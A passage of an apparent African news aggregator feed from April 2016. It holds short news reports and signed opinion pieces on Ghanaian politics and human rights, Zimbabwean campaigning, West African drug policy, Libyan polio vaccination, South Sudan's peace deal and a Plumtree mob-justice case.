She said: 'With all these efforts, there will be a coherent and collective response from the CSOs on the list of issues from the United Nations Human Rights Committee and also make them aware of the processes involved on the Government's side'.

Ms Abbey said the engagement would also give the CSOs the opportunity to present an alternative solution to the Government for a balanced opinion and perspective to be met at the international level.

Mr Andre Kangni Afanou, the Regional Co-ordinator at the Centre for Civil and Political Rights (CCPR), Togo, advised CSOs to be involved in the implementation of human right laws for effective contribution in the assessment of the ICCPR review in Ghana.

He lauded HRAC for the engagement with the CSOs saying it would help raise human rights violation issues in the country.

'This meeting shows a unique way CSOs can put pressure on government through their extensive deliberations for informed policies to be made,' he said.

Mr Kangni Afanou urged CSOs to lead the discussion for more relevant issues to be addressed.

Participants discussed challenges in the implementation of the International Convention on Civil and Political Rights in Ghana, Administration of Justice, Rights to Life, Torture, Liberty, Security of Persons and Slavery, Civil Liberties and Child and Women's Rights.

GNA
22.04.2016 LISTEN

Politics in a democratic environment is not actually about the "ideal truth" as most of us wished for but about the "real truth".

The ideal truth in a democratic setting, posit on the premise that the political sense of the individual is mature, logical, capable of understanding and informed enough, on the decision of choosing politicians to deal with the issues of determining the nature of the law, for the necessary dimension to their cultural transformation, regardless to the prevailing circumstances of the electorates. The big challenge to the ideal truth is, its philosophical nature.

The real truth in a democratic setting, posit itself on the premise that the political sense of individuals in relating to choice of politicians, to deal with issues of laws, in allow the actualisation of cultural transformation, depends on what the majority believed to be the truth, based on their prevailing circumstances. Thus the real truth is as good as the assumed or made up truth, believed and accepted by the people.

This is even worse when a nation is at its low level of the developmental stage, where the laws of the state are being overshadowed by superstitious based religious and ethno-tribal laws. The circumstance of the electorate determine the real truth while the ideal truth remain s distant dream.

Politicians in Ghana are easily accuse of being opportunists, for inclining towards the real truth, in place of the ideal truth. In fact the ideal truth are considered as academic and illusionary.

The ideal truth in a democratic setting makes it very easy to highlight all the fundamental right of all citizens and blame the authority of the day for intentionally avoiding its responsibilities, when the politician are actually dealing with the real truth.

Indeed politics in a democratic setting, is ideally about the transformation of life of a people by the transformation of their laws, on the mandate of the same people.

The ideal of democratisation of politics are premised on the fact that culture is a dynamic phenomenon and every individual of a mature and sound mind, is an equal stakeholder in the prevailing cultural setting. This then follows that if culture have to keep up with development, since cultures are basically the same globally, all stakeholders must have equal say on the process of relating with the law that leads to the transformation.

The contention here are, what determines the need for cultural transformation and what should be use as the yardstick for measuring such need? The answers to the above lies in our ability to agree on whether cultures are globally independent of themselves and cultures are incapable of serving as the base of threat or hope, to others cultures? The fact is cultures are basically the same globally and are globally interdependent in this relationship. This adds up that cultures posse the ability to easily transform themselves through adoption and innovation, to survive better, than the less dynamic ones. Since cultures globally are interrelated, vulnerable cultures suffer to the advantage of the more sophisticated ones, every conscious culture is religious about transformation.

The above form the basis for the wisdom around which the evolution of democracy built up, since cultural transformation could be a matter of life or death to some people. It is out of the desperate need to provide the most effective means of cultural transformation that the uses of the ballot box, than the bullets, was invented.

The traditional approach to custodianship of a group's culture is through an autocratic rule, where leadership starts by the use of brutal force, to establish a form of dynasty. The church, the Islam, entho-tribal establishments, nationalism and racism, were all once the mediums of introduction and sustenance of dynasties for cultural custodianship. Subsequent custodianship of the law were by hereditary, blood lineage, royalties which continue beyond generations until other gangs succeed in overthrowing the establishment. The newly instated establishment claim their legitimacy to reform, only to end up as the start another dynasty, leading to another round of brutal and bloody replacement.

Each ruler justify their legitimacy by reference to one form culture or tradition that need their personal custodianship, for the necessary cultural transformation to take place. The longevity and brutality of most rulers, are justified under the guise of cultural transformation.

Some make such claim as personal as possible, enough to make them assume the status of god with a divine right to the custodianship of the law and therefore the culture. These individuals assume the power of determining life and death of fellow citizens, by the use of the law and the preservation of the culture.

Such individual go to any extent to perpetuate themselves beyond generations, until a desperation for the replacement to the group leadership, resort to physical violence in forcing the existing authority of law to relinquish its position, for a new group or individuals to effect their own version of cultural transformation.

The challenge here is, lives are lost, the new laws are imposed, regimes become unpopular as their popularity wain in no time and the consequential transformation ill explained.

What follows these kind of transformation is, it translate into a seed for another uprising and serve just the will of the few. Tension builds up, suspicion increase and draconian laws find their way into the statues books, than real transformational laws, in helping to clamp down on opposing views. Cronyism and nepotism become the means of differentiating the in-groups from the others. A cast system of a sort emerge to identify and safeguard the interest of the loyalists, against others.

Violence begetting further violence, frustrate the whole effort. Emotions than rational become the basis of sustaining or opposing a culture, and stake-holding becomes s minority issue, with majority marginalised, while most live as oppressed and suppressed.

The biggest challenge the transformers of mediaeval European state faced were around the definitions of culture and tradition. The transformers struggled with the fact that oppressed and suppressed majority is counter productive to national development. Thus the need to do something about marginalisation, to liberate cultural transformation.

The transformers need to effectively come up with definitions that allow them to democratise the process of transformation and make it all inclusive. This means, all those responsible for the custodianship of the law, must be clearly identify as the very ones who are also responsible for cultural transformation of the people.

Further probe into the concept of law then expose that laws are made, carried out and interpreted. The probe exposed that the maker of the law can also be the executor and as well the interpreter, to make the same person the only one responsible for the custodianship of the culture and therefore the determinant of transformation. Almost all medieval rulers enjoyed this status and this is still prevalence in the ethno-tribal and religious establishments of the modern day Ghana.

The whole challenge in mediaeval Europe then turn out to be around the definition of culture and tradition, when the two concept were subjected to close analysis. Sociologist and anthropologist propounded several definitions to give meaning to the word culture.

Almost all the definitions were basically the same while the one adopted by a people affect their transformation differently. So the one accepted by a group determines how such group goes about the challenges of cultural transformation. In fact of almost 145 definitions, it is very difficult for any of them be refer to as wrong. The definition a society chooses is however very fundamental to whether the people will end up as the slaves of their culture or masters of their destiny.

The most popular of the definition is "culture is a way of life". Simple as this definition is, it is very limiting in the context of reference to law, as a tool for cultural transformation. By adopting a definition of culture, as "a way of a peoples' survival, that make them survive better, as determine by their prevailing environmental circumstances", it allowed the proponents of democratic governance to make cultural transformation the business of every member of the group and a dynamic phenomenon. The definition recognising culture as a dynamic phenomenon means, culture is sensitive to change in its environmental circumstances. This further means, all culture strive to respond to change in time, place and space, by adjusting accordingly.

The definition then exposed that the business of law making, must be the business of everyone and subject constant review for the necessary adjustments, in allowing cultural transformation to take place.

Democracy is however challenged by contentions between the ideal truth and the real truth. Since politics is actually about the real truth than the ideal truth, and democracy is primarily the politics of reasoning by number to control the means of law making, execution and interpretation, than the use of brutal force by violence, the ideal truth becomes a challenge of its own.

Institutionalised platforms like the church, enthno-tribal establishments, Islam, nationalism, idealism and all sorts of inclinations, were develop to address the contentions between the ideal truth and the real truth. These platforms, used as political mediums, to project the ideal or real truth, for the advancement of cultural transformation. Superstitious means were invented by these establishment to make ideal truth assume the nature of real truth or the other way round.

Finally, the ideal truth provide solution to fundamental transformation but normally difficult for people to accept them as achievable. The real truth on its part deal mostly with non fundamental transformations and cosmetic in nature.

If you choose to attack those providing cosmetic solutions to fundamental challenges and calling the opportunist, please take a closer look at the electorates, to know why they are getting what they deserve. Yes, democracy is about cultural transformation by the mandate of the majority of the people through the transformation of their laws. You only reap what you sow. A good democrat step gently where fools trod. Since it is not about what is ideally right but what the people accept as right, you might end up at the stake for being less wise.

Democracy is not just about martyrs but about how real we are with situations!!!

Kofi Ali Abdul-Yekin

Chairman ECRA (ECOWAS Citizens Right Advocates)

0579096749

[email protected]

Sent from Yahoo Mail for iPhone
The Writer

22.04.2016 LISTEN

My brethren, today, I write in sadness.

Yesterday, here on my page, I celebrated Gabby Asare Otchere-Darko for his birthday. In response, some people attacked him for his perceived shortcomings. As I told them, good manners require that we desist from criticizing a man on his birthday. Another ocassion when criticism is considered bad manners is when a person dies. It is also bad manners to wish someone death or illness.

A few days ago, on NEAT FM, the NPP'S deputy General Secretary Obiri Boahen stated in reference to the good samaritan that if he met former EC Chair Dr. Afari Gyan, by the road side, he would not render any assistance! I do not know how many congratulatory messages he got but I cringed when I read that. Does he not have an elder in his family, church or party who can tell him that he erred before God and man and should apologize? Was there nobody who could school this ignoramus on what Afari Gyan has done for Ghana, Africa and mankind? I do not know who brought him up but even at my age, if my mother were alive and I said something like that, my mother, Madam Abena Atta, AKA Maame Mfante, would show up with soap to wash my mouth. Some months ago, no less than an NPP member called me an "enemy combatant" who should be "dealt with".

Folks, we have gotten to where we cannot even wait for people to die before pronouncing them dead. Perhaps, we forget that we shall all die. Furthermore, wishing someone dead can turn on you. JFK approved the assassination of Fidel Castro and died soon after. Many sang "Osu cemetry, Paa Willie a na oko" and died before Paa Willie. Let be humble and seek the face of God.

Throughout history, across cultures and continents,even bitter enemies mourn their opponents in death.

In 1881, when Benjamin Disreali died, William Gladstone, his implacable political foe, eulogized him in Parliament.

In 1978, when Jomo Kenyatta died, his political nemesis, Oginga Odinga, not only showed up for the funeral-- he sang a funeral dirge!

When J.B. Danquah died, Nkrumah should have eulogized the man who brought him to Ghana on his way to greatness.

He should never have left it to Azikiwe to eulogise him from afar.

To return to our current politics, there is too much hatred and lack of civility. We need some love.

My NDC brothers, the NPP guys you know are not your enimies; they are your opponents. My NPP brothers; the NDC guys you know are not your enemies; they are your opponents. Stop listening to false leaders who befriend those of other parties Nicidemously even while they encourage public enmity.

Tomorrow, if you are NPP, when you pray for your party leaders, include John Mahama.

If you are NDC, when you pray for your party leaders, include Nana Addo.

Finally, my brethren, I leave you with Gladstone. He said, "We look forward to the day when the power of love will replace the love of power. Then will our world know the blessings of peace".

Let's say "Amen".

God bless you and Ghana.

Arthur Kennedy
News / National

by Nduduzo Tshuma

VICE President Phelekezela Mphoko yesterday laid into MDC-T leader Morgan Tsvangirai, calling on Zimbabweans not to be swayed by a man who cannot even decide on one woman to settle with."That man had a wife. After her death, he started behaving like a dog on heat and would chase after every woman promising that one day he would occupy the highest office."He can't make a choice, he doesn't have a decision but just hops from one woman to another," the Vice President told villagers in Kopa, Bubi district, ahead of the Ward 15 by-election on Saturday. Mphoko said only the ruling Zanu-PF party can carry the aspirations of the people. Zimbabweans should not be misled by retrogressive forces, he added."Can we say that's a leader? No! He has no dignity." He called on the villagers to rally behind Zanu-PF candidate Meluleki Sibanda, who is contesting an independent candidate. "I heard that you're contesting with an independent," he said to Sibanda."I want you all to know that Sibanda is contesting a shadow. You don't need a sangoma, this thing is straight-forward. You know what to do and this man will work for you and champion your aspirations. If you vote for a shadow, you'll live in darkness."VP Mphoko promised that the government would attend to the food and water shortages affecting the area. "There's nothing without a solution, all the solutions are in Zanu-PF. Don't be misled by other people, follow the proper route, forget those who want to mislead you," he said.Meanwhile, Mphoko donated four tonnes of rice to be distributed to families in the ward. "We brought you food, we brought you rice, your leadership will distribute the rice among you so that you cook for your children. Don't be afraid to approach me, I'm in the office of the President, I don't have an office, the President is the one who deploys me and says go there," he said."If there's something that you want, approach me and air your grievances. We're here to serve you." The rally was also attended by the Zanu-PF Bubi legislator and Minister of State in Vice president Emmerson Mnangagwa's office Clifford Sibanda, Zanu-PF Matabeleland North provincial chairperson Richard Moyo, party provincial women's league chairperson and Senator Medeline Bhebhe among other party officials.
DAKAR  By now, it has become almost a cliche to say that the war on drugs has failed. The prohibitionist approach, most fully articulated by former US President Richard Nixon, has done little to curb drug use, but it has had devastating consequences for individuals and societies worldwide. In Latin America, to cite one example, it has led to repressive state policies and the militarization of interdiction efforts at the expense of policies addressing the detrimental effects of drug use on health and social welfare.

This approach risks causing similar damage in West Africa, as the regions own war on drugs drives an increase in state repression and human-rights abuses. In 2014, the West Africa Commission on Drugs noted that criminalizing every aspect of drug-related activity, including possession for personal use, has resulted in a host of negative consequences. Drug use has been driven underground, corruption has grown, and prisons have become massively overcrowded. And it is overwhelmingly the poor  many of whom should be helped rather than punished  who are thrown in jail, while wealthy drug users buy their way out of criminal sanctions.

But repression has not prevented West Africa from becoming a major transit hub for cocaine, heroin, and cannabis. In March, Nigerian authorities discovered and dismantled the countrys first industrial-scale crystal-meth lab, indicating that the production, distribution, and consumption of synthetic drugs could be rapidly rising in the region. West Africa lacks reliable trend data regarding drug consumption, but there are signs that it is on the rise.

Given the severity of the crisis, West Africa cannot afford to be silent at the upcoming United Nations General Assembly Special Session on the World Drug Problem. A more humane response must be adopted, one that respects human rights and treats the problem as a public-health challenge.

In January, representatives from 11 West African countries, including drug-control agents, convened in Accra at a meeting organized by the West Africa Civil Society Institute. Those present declared their support for refocusing the drug-control effort on public health and human rights, rather than criminal justice.

A similar approach is advocated in a wide variety of position papers and declarations, including the 2013 African Union Plan of Action on Drug Control, the Common African Position for the UN General Assembly Special Session on the World Drug Problem, the Addis Ababa Declaration on Scaling up Balanced and Integrated Responses Towards Drug Control in Africa, and the Abuja Declaration adopted by the Economic Community of West African States. As the Common African Position puts it, the main objective of drug policies should be to improve the health, safety, welfare, and socioeconomic well being of people and societies.

West African countries must use the UN special session to make a clean break with the failed approach of the past decade. The regions leaders must push for genuine reform and not allow the status quo to be reinforced through the strengthening of existing frameworks.

For starters, we must dispel the notion that progressive drug policies will result in a laissez-faire attitude toward drug use and an increase in drug trafficking. Experience in other parts of the world has shown that alternatives to prison for nonviolent, minor drug offenses can lead to better health and law-enforcement outcomes, as drug users are steered to the services they need and police, freed from chasing low-level offenders, can pursue major traffickers.

The UNs special session must be used to lay the foundation for the reform not just of laws and policies, but also of perceptions and attitudes. As important as policy reforms can be, their effectiveness will depend on lasting changes in societal norms and mores. A clear and unequivocal message is needed, one that enables civil society to sway policymakers not only at the international and national levels, but also at the community and local levels.

Traditional and community leaders must be made to understand that the criminalization and incarceration of users does not end drug abuse, but merely fills prisons. And they must also be reassured that decriminalizing drug use does not eliminate all sanctions, as administrative penalties and treatment referrals can still be used to deter consumption.

If the UN special session is to realize a society free of drug abuse, it must do more than reaffirm previous agreements and pledges. It must be bold and progressive, by proposing the most cost-effective and humane approach to address global drug use. That can happen only if the affected countries and regions  including West Africa  speak out loudly and collectively.

*The Authors, Nana Asantewa Afadzinu and Abdul Tejan-Cole are the Executive Directors of the West Africa Civil Society Institute(WACSI) and the Open Society Initiative for West Africa(OSIWA) respectively
More than one million children in Libya have been immunized against polio in a 5-day national campaign concluding today. The campaign is the first to be held in Libya since 2014.

Approximately 2000 vaccinators in 600 health facilities around the country participated in the campaign which was conducted by the Ministry of Health's National Centre for Disease Control, with support from WHO and UNICEF.

"This is a truly significant achievement in ensuring Libya maintains its polio-free status," said Dr Syed Jaffar Hussain, WHO Representative for Libya. "Interruptions in routine immunization as a result of the conflict have placed children in Libya at prolonged risk of infectious diseases. Parents are desperate to keep their children safe and healthy, and the high level of demand was such that health facilities were overcrowded in the first days of the campaign."

Ongoing violence in Libya has created challenges for the provision of health care services, including immunization services. Health facilities are faced with critical shortages of health staff and insecurity has restricted transportation and contributed to shortages of medicines and medical supplies.

"Despite the challenges faced, including extremely limited funding for the health sector, WHO and partners continue to ensure that urgently needed basic health care services in Libya are provided. This campaign is a positive step towards ensuring that with increased support, vulnerable Libyans have access to the health services they need," said Dr Hussain.
Following the cross border cattle raids in the Federal Democratic Republic of Ethiopia which has claimed the lives of more than 200 people and seen the kidnaping of 100 children; on behalf of the Government and people of Seychelles President James Michel has expressed his profound condolences in a message addressed to the Prime Minister of the Federal Democratic Republic of Ethiopia, Hailemariam Desalegn.

"May all those touched by this calamity find the strength and courage to cope at this most difficult time, said President Michel in his message.
Work has begun on roads leading to Nyitavuta, a farming community in the Akatsi North District, six months after a Joy news documentary Jungle Poor highlighted the plight of residents.

Nyitavuta is a deprived community that lacks virtually all basic amenities. No clean sources of drinking water, no electricity, no health post, no toilet facilities, mud houses, no road network, among others.

The only school in the community is only up to primary six. Pupils have to trek over 90 minutes each day to attend Junior High School in the nearest community. The community sits in bushes. There are no roads leading to Nyitavuta so commercial vehicles dont go there. And no one has a private vehicle.

The closest road is about 9km away. This, combined with the absence of a health facility is endangering the lives of pregnant women there.

Because of the bad roads, vehicles do not come hereI have to walk very far before I take car to the hospital so I am sufferingsometimes when I walk like that my waist and all my body will be paining meso they have to do something about the road for us, pregnant Doris Bayire told Joy News last October.

Now, relief is on the way as government has begun work to fix roads in the community.

Under the Ghana Social Opportunities Projects (GSOP) project, a 7km feeder road that leads to the community is under construction from the Yevi Junction to Kpohe. The project had been in the pipeline for more than one year.

Volta Regional Minister Hellen Ntoso recently paid a working visit to inspect the progress of roads.

The other side from Nyitavuta to Agormoh (2 km stretch) has been awarded to the contractor We are working on it, District Chief Executive James Gunu told Joy news. The minister also commissioned a class room block in a nearby community, Ave Afiadenyigba.

James Gunu tells Joy news the community is also getting support to fix problems with other basic amenities in Nyitavuta.

Contractors from the rural electrification program have visited the community twice and soon they will be connected Rotary Club - Ho Chapter has also done visibility studies to drill boreholes for the community.they told me that they watched a documentary on Joy News, so as a follow-up, they came to see how they can help the community, Mr. Gunu explained.

He added a US-based NGO, Seven Hills, has also moved in to empower the residents in alternative sources of livelihood. More than 50 residents have been trained in bee keeping and how to produce pomade, honey and cough mixture from the honey.

The construction of a three-unit classroom block for the Nyitavuta JHS has also begun in the community.

I can say on authority that after the last documentary, a lot has changed and Nyitavuta is a blessed community, Mr. Gunu added.
Juba (AFP) - In a country awash with guns, a faltering peace deal aimed at ending over two years of intense civil war in South Sudan came down to a dispute over just two dozen weapons.

The issue, while apparently minor, reflects the huge mistrust between the rival leaders, and is a sign of the massive challenges faced when or if rebel chief Riek Machar finally returns to the country and forges a unity government.

"Both sides are very deeply suspicious," said veteran South Sudanese journalist Alfred Taban, editor of the independent Juba Monitor newspaper.

"But people are just sick of war. People are looking for some sanity."

Machar was due to return to the capital on Monday to take up the post of first vice president alongside arch-rival President Salva Kiir, and his failure to arrive has put an August 2015 peace agreement in jeopardy.

The latest stumbling block to his return concerned the number of machine guns and rocket-propelled grenades that rebel troops protecting Machar would be allowed to carry.

Diplomats said it was "almost unbelievable" that a deal to end a war in which tens of thousands have died could rest on such a difference.

Rebels finally accepted proposals by international mediators that they could hold 20 of each weapon, but when talks broke late Thursday the government insisted on only seven.

Diplomats said Friday that after threats of being reported to the UN Security Council the government had finally accepted the deal and mediators have demanded Machar return to Juba on Saturday.

But diplomats also noted gloomily that while Machar's return is the "best chance yet", it only returns the country to the status quo that existed before his July 2013 sacking that precipitated the war.

"Now the economy is also broken and there's two years worth of division on top," one diplomat said.

J. Peter Pham from the Washington-based Atlantic Council thinktank, called the deal a "forced marriage that the international community is dragging both men kicking and screaming towards" amid fear of possible sanctions.

South Sudan's civil war began in December 2013 when Kiir accused Machar of plotting a coup.

The conflict has torn open ethnic divisions and been characterised by human rights violations.

- Warlike peace -

It has included the abduction and rape of thousands of women and girls, massacres of civilians, recruitment of child soldiers, murder, mutilation and even cannibalism.

The government on Monday appeared ready to receive Machar, but after he failed to appear, the red carpet laid out at Juba airport was rolled up and a box of white doves representing peace taken away.

"Soon he will come, we pray," said the woman carrying the birds. She wore a specially printed cap with a smiling picture of Machar alongside the slogan, "With peace we all win."

Machar is a former rebel leader turned deputy president who was fired, became a rebel leader again and has now fought his way back to the vice presidency.

The political power-struggle between Kiir and Machar is not resolved.

"It's only hypocritical to think that his return and creation of a government he is part of will be the panacea for the country's current troubles," said Jok Madut Jok, a former top government official who heads the Sudd Institute thinktank.

The threat of violence at a local level remains enormous, with multiple militia forces unleashed and out of control.

Machar and Kiir are decades-old rivals and even if they can work together both must also rein in powerful hardline field commanders.

- Guns and mistrust -

Both sides have shown bad faith throughout torturous negotiations hosted by regional governments, and only signed the peace agreement under huge pressure and the threat of sanctions, including from the US.

Mutual suspicion lies behind the squabbling over weapons that has delayed Machar's homecoming.

A 1,370-strong armed rebel force has already arrived in Juba as part of the peace deal while government forces say they have pulled out all but 3,420 of their troops, according to the agreement.

All other soldiers have to remain at least 25 kilometres (15 miles) outside the capital.

At one of three rebel camps in Juba, rebels pointed towards the government camp five minutes walk away and well within sight and range, at the base of a sun-baked mountain.

Rebel and government officers stood side-by-side speaking the language of peace.

"Our people tell us, do not go back to war again," said rebel Colonel Par Dang, as his 500 troops built thatch shelters in the scrubland.

"We are all South Sudanese, and even though we lost thousands, for those who survived we must work together again."

Beside him Brigadier-General Lul Ruai Koang -- a former rebel spokesman who switched sides and is now the army's spokesman -- said he hoped the opposing forces would work together in peace.

"We are going to give them the benefit of the doubt," he said.
File Photo

22.04.2016 LISTEN

On April 21, 2016, myjoyonline carried a story that featured Dr. Nicholas Okine, a lecturer at the Kofi Annan Peacekeeping Center, as positing that materialistic Christianity is a threat to national security. I find his analysis very weak and confusing. Though a Christian, I am entirely opposed to blind acceptance of faith. I am also against the use of religion to exploit the weak and feeble in society.

I find it awkward when religion becomes an instrument of oppression in the hands of some so-called Men of God, whom I sometimes call god of men. Also, though I am not a Marxist in ideological proclivities, I do sometimes think that religion could serve as the opium of the masses. With the above preface, I must say that my response to Dr. Nicholas Okines comment about Christianity and national security is not encased in dogmatism. I am responding because I rightly disagree with the assertion that Christianity could pose a challenge to national security.

Dr. Nicholas Okine argues that materialistic Christianity portends serious threat to Ghanas security, since materialistic Christianity could make people desperate in their search for materialism. First, I must state that there is nothing like materialistic Christianity. Christianity is Christianity and nothing less or more. I guess that by using the word materialistic, Dr. Okine is making reference to the emphasis placed on material aspect of Christianity. Christianity is a complete religion that takes care of both the material and spiritual aspects of life.

The religion permeates every facet of life. The artificial separation between the secular and profane is a new feature of the secularized world. Until the renaissance, church and state were fused together. The two were not separated. Even in countries like America, where secularism has gained deep-seated acceptance by the majority, religion continues to feature prominently in the daily lives of many Americans. Secularism does not necessarily also mean absence of religion.

So, Christianity, since its inception, has been interested in catering for the material and the spiritual needs of devotees. Jesus Christ, upon whose work and person Christianity is based, did not only respond to the spiritual needs of His followers, He was also interested in their material wellbeing. Throughout the history of the Ecclesia of Christ, Christians have been deeply involved in solving the poly-challenges of the world. This is evidenced by the philosophy that drove the early European missionaries to Africa.

The missionaries saw Christianity as a way of life that did not compartmentalize a person into physical and material. And so, what the missionaries did was that they pursued what is referred to as the 3Hs mission: Heart, Head, and Hand. That is, they provided the Heart with the Gospel of Christ. They also provided the Head with Western education: reading, writing, arithmetic, and hygienic practices. Finally, they provided the Hand with skills including cooking, sewing, carpentry, masonry etc. In effect, the embarked on holistic gospel mission to Africa!

Second, from the annals of Church history, we do not have instances were Christians embarked on wars of aggression or incited violence. There are a few episodes where some so-called Christians used erroneous hermeneutics to justify oppression. A typical example is how the Dutch Reformed Church twisted the scriptures to provide theological rationalization for the apartheid in South Africa. In the same way, some so-called Christians perverted the bible to justify practices such as the inquisition, slavery, colonialism, and anti-Semitism. I use the expression so-called because over the years, Christian leaders, particularly the Catholic pontiffs have apologized to the world for the crimes that were committed in the name of Christ by the church. Have other religions also apologized to the world for the crimes that they committed against the world?

Apart from that, usually, true Christians had responded to violence and persecution that were meted out on them. Classical examples of so-called wars of aggression that some critics of Christianity make reference to in adducing evidence to Christian aggression are the crusades. Most often than not, the narrative on the crusades is given in a very skewed manner to incriminate Christians. But a close reading of the history of the crusades reveal that the Muslims were the first to begin the crusades. The Muslim aggression began in the seventh century, but the Christians responded to it in the eleventh century. The Christians only responded to the aggression of the Muslims.

By the seventh century, after the death of Mohammed bin Abdullah, the prophet of Islam, in 632 AD, the Arab Muslims embarked on wars of conquest for religious and political reasons. They expanded the frontiers of the religion to include the Palestine and North Africa. The Christians considered the Muslims taking over Jerusalem as an act of aggression that they had to respond to. This is logical because Jerusalem had/has a religious significance to the Christians. The Muslims also consider Jerusalem to be one of the three holiest cities on earth.

In fact, until later in the history of Islam, the Muslims prayed facing Jerusalem. This was because one event in Islamic history called the Miraj, which is believed to have taken place in 622 AD, the same year that the Hijrah took place, took the prophet to heaven through Jerusalem temple. There is a huge debate about Miraj: whether it was historical or spiritual. Anyway, the event is very central to Islamic theology, since it contributed to trimming down Islamic prayer from 50 to 5 times daily!

Apart from a few skirmishes in Christian history, the church has always supported the state against vandalism and attacks. In fact, in the City of God, one of the issues that St. Augustine, one of the foremost theologians of the Ecclesia of Christ, was responding to was the allegation that Christianity was responsible for the collapse of the Roman Empire. St. Augustine encouraged Christians to support the state, since God uses the leadership of the state to restrain the excesses of sinful men and women.

A cursory reading of Euro-American history would bring to light that the church, instead of producing terrorists, has been a defender of the state. The Apostle Paul, the man from Tarsus, encouraged Christians to be submissive to authority. The only time Christians have defied state authority is when those in authority stifled the right of Christians to worship the Triune God, the true God.

We may condemn the spirit of Epicureanism that is creeping into some of the churches, but that does not provide sufficient grounds for the kind of paranoia Dr. Okine is trying to shove down our throats. There are serious issues that could predispose people to destabilize the peace of any country. The first is failed state. If the state fails to provide for its citizens, citizens may resort to extra-legal means to make ends meet.

In a situation where the economy of a country takes a nosedive, individuals may take advantage of the situation to use violence to get what they want. The second is when the state becomes the oppressor. Here, when individuals experience state-sponsored violence, individuals may resort to force to seek justice and redress. Finally, what could pose as a security threat to nation would be the situation where some religions openly declare support for international terrorist groups.

I think Dr. Okine would do us good if he is able to provide a good assessment of what could predispose individuals to ruin the security of Ghana. To pointlessly cite so-called materialism in Christianity as a precursor to insecurity in Ghana is a weak and nebulous argument. Inspiring people to be rich is not a crime. After all, man was created to subdue the earth! Apostle John was clear in praying for Christians to excel spiritually as well as materially.

Satyagraha!

Charles Prempeh ( [email protected] ), Makerere Institute of Social Science, Makerere University, Uganda
RIYADH, Saudi Arabia, ACCRA, April 22 - (UPI/GNA) - President Barack Obama on Thursday assured allied leaders in the Persian Gulf that the United States is committed to upholding the security of their nations in the region's climate of ongoing political instability.

Obama's arrival in Saudi Arabia Wednesday is part of a plan to allay fears there that Washington may not be fully dedicated to its Persian allies. In a series of private meetings, the president met with the leaders of six nations and pledged American support.

"We remain united in our fight to destroy ISIL, or Daesh, which is a threat to all of us," Obama said at a media session after an introduction by Saudi King Salman. "The United States will help our Gulf Coast Countries partners ensure that their Special Operations Forces are interoperable, and GCC nations will continue to increase their contributions to the fight against ISIL and the coalition that we formed.

"We'll continue to offer support to Iraq as it liberates and stabilizes towns and cities from ISIL control, and we'll remain leading donors of humanitarian aid to the peoples of Syria and Iraq."

Thursday's summit comes nearly a year after a similar gathering at the president's retreat at Camp David last May.

"Last year, at our summit at Camp David, we agreed to build an even stronger partnership between our nations," Obama recalled. "We already had strong bilateral relations and, collectively, had a shared vision of peace and prosperity in the region. But we felt that we could do more, given the new challenges that had arisen. Today, we reviewed the important progress that we've made together."

Militant groups, like the Islamic State, have for years held contempt for world leaders for continuing friendly diplomatic relations with the United States -- particularly those in Persian Gulf states, whom radical Islamic extremists view as infidels.

"I reaffirmed the policy of the United States to use all elements of our power to secure our core interests in the Gulf region, and to deter and confront external aggression against our allies and our partners," Obama said. "And we reached a common vision on how to move forward, together, in key areas."

"I would like to emphasize the keenness and commitment of the GCC countries to develop historical and strategic relations between our respective countries and the United States of America to serve our mutual interest as well as the security and peace of the region and the world," King Salman said in his introduction.

Obama pledged to work closely with GCC leaders on several fronts, including Iran and Syria, which is presently the focus of deteriorating United Nations-sponsored peace talks.

"In Syria ... This violence is yet another reminder that there's only one way to end this civil war, as our GCC partners agree -- a transitional governing body, a new constitution with free elections, including a transition away from Assad," he said.

"I thanked our GCC partners for their support of the comprehensive deal that has now cut off every single one of Iran's pathways to a nuclear weapon... With regard to Libya, we agreed to keep building support for the new national unity government... With regard to Yemen, we urged all parties to abide by the cessation of hostilities so that humanitarian aid can be reached to the Yemeni people and the peace process can proceed."

"The leaders discussed regional conflicts," Deputy National Security Adviser Ben Rhodes said. "That gave them an opportunity to review the situations in Syria, in Yemen, in Iraq, and across the region broadly."

"I think on the core issues there's agreement about where we want to go," press secretary Josh Earnest added. "Even with some of the debates that have taken place, we've been able to broadly align our approaches and make progress, and we want to continue that here in Saudi Arabia."

After the meetings, Obama left Saudi Arabia for London, where he was scheduled to have lunch with Queen Elizabeth II, who turned 90 Thursday, and then dinner with Prince William and the Duchess of Cambridge. He will also meet with Prime Minister David Cameron.

GNA
22.04.2016 LISTEN

Accra, April 22, GNA - We publish below the full, unedited text of the National Media Commission's statement on the Supreme Court Ruling yesterday, regarding the application for interlocutory injunction filed by the Ghana Independent Broadcasters Association (GIBA).

STATEMENT ON THE SUPREME COURT RULING ON THE GIBA APPLICATION FOR INTERLOCUTORY INJUCTION ON LI2224

The National Media Commission has taken note of the Supreme Court Ruling on the application for interlocutory injunction filed by the Ghana Independent Broadcasters Association. The substantive matter regarding the interpretation and enforcement of the recently passed law on media contents and standards is still pending before the Court.

The Content Standards Regulations (LI2224) came into force on 9th December 2015 and its implementation was set to begin three months from the date of entry into force. In accordance with the Supreme Court ruling, the NMC is obliged to suspend the implementation until the final determination of the matter.

It is the prayer of the Commission that the Court will be able to give its judgment before commencement of the election campaigns. While abiding by the ruling, the NMC will like to assure the public of its determination to uphold its constitutional mandate of ensuring a free and vibrant media that functions within the law and puts the national interest above any other consideration.

Kwasi Gyan-Apenteng

Chairman, National Media Commission

GNA
News / National

by Sukulwenkosi Dube

A 31-YEAR-OLD Bulilima bicycle thief who was a victim of mob justice has told a Plumtree magistrate that community members who took the law into their own hands and assaulted him resulting in severe head injuries must be prosecuted.Appearing before Plumtree magistrate, Gideon Ruvetsa, facing theft and possession of dangerous drugs charges, Thabani Ndlovu said he was in severe pain as a result of the attack.The bicycle thief was convicted on his own plea of guilty to both charges and was sentenced to 14 months imprisonment. Six months were suspended for five years on condition that he does not within that period commit a similar offence."I'm in severe pain Your Worship because I was attacked by villagers and as you can see my head is bandaged. They ganged up on me and they assaulted me with bricks, logs and any weapons that they could find."I don't know why they were even attacking me because when they caught me I told them that I was on my way to return the bicycle which I had stolen."I'm sure that they should also be prosecuted because they committed an offence by attacking me," said Ndlovu.He said he stole the bicycle but later decided to return it, only to be attacked before he could do so.Ruvetsa advised Ndlovu to make a formal police report if he had a complaint against community members who attacked him.Prosecuting, Elisha Mazorodze, said Ndlovu stole a bicycle belonging to 64-year-old Sidoli Moyo on April 17 around 2PM.He said Moyo left his bicycle by the gate at his farm and Ndlovu took it and went away unnoticed. He said Moyo alerted fellow villagers who tracked it to Ndlovu's homestead.Mazorodze said Ndlovu was appre-hended by community members and when 